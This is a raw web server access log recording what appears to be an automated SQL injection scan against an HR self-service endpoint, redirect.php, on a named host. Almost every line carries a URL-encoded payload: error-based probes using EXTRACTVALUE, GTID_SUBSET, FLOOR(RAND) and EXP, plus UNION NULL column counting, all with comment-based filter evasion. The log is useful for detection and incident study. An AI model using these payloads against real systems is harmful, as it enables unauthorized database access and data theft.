100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x44524551%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77716964%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a303877%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75785a41%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a303877%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75785a41%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a317934%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a5a716e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a317934%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a5a716e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7938426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4c7076%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b424c72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x336c7033%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b424c72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x336c7033%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x334d6836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49764158%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x334d6836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49764158%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x5a365a42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344a3743%29%2C6420%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x5a365a42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344a3743%29%2C6420%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d4b3468%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50423764%29%29x%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x476e4270%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c454d%29%2C6420%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x476e4270%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c454d%29%2C6420%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4e67666f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a425543%29%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4e67666f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a425543%29%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x47547a76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47776e37%29%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x47547a76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47776e37%29%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x726d6759%2C%28NULL%29%2C0x4a505146%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x726d6759%2C%28NULL%29%2C0x4a505146%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x34335849%2C%28NULL%29%2C0x53625232%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdYIY%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x34335849%2C%28NULL%29%2C0x53625232%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdYIY%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6e494d58%2C%28NULL%29%2C0x6c336f38%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZanD%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6e494d58%2C%28NULL%29%2C0x6c336f38%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZanD%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x77317561%2C%28NULL%29%2C0x56676464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FBraj%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x77317561%2C%28NULL%29%2C0x56676464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FBraj%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x70573532%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42556d30%29%29x%29%29%23%2F%2A%2A%2FSm2A HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x70573532%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42556d30%29%29x%29%29%23%2F%2A%2A%2FSm2A HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x72383741%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c463773%29%29%2C1%29%23%2F%2A%2A%2FzVdb HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x72383741%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c463773%29%29%2C1%29%23%2F%2A%2A%2FzVdb HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7778354e%2C%28NULL%29%2C0x6f384135%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOal3%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7778354e%2C%28NULL%29%2C0x6f384135%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOal3%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x646d5952%2C%28NULL%29%2C0x76546872%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x646d5952%2C%28NULL%29%2C0x76546872%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x46565630%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35743145%29%29%2C1%29%23%2F%2A%2A%2FC1CV HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
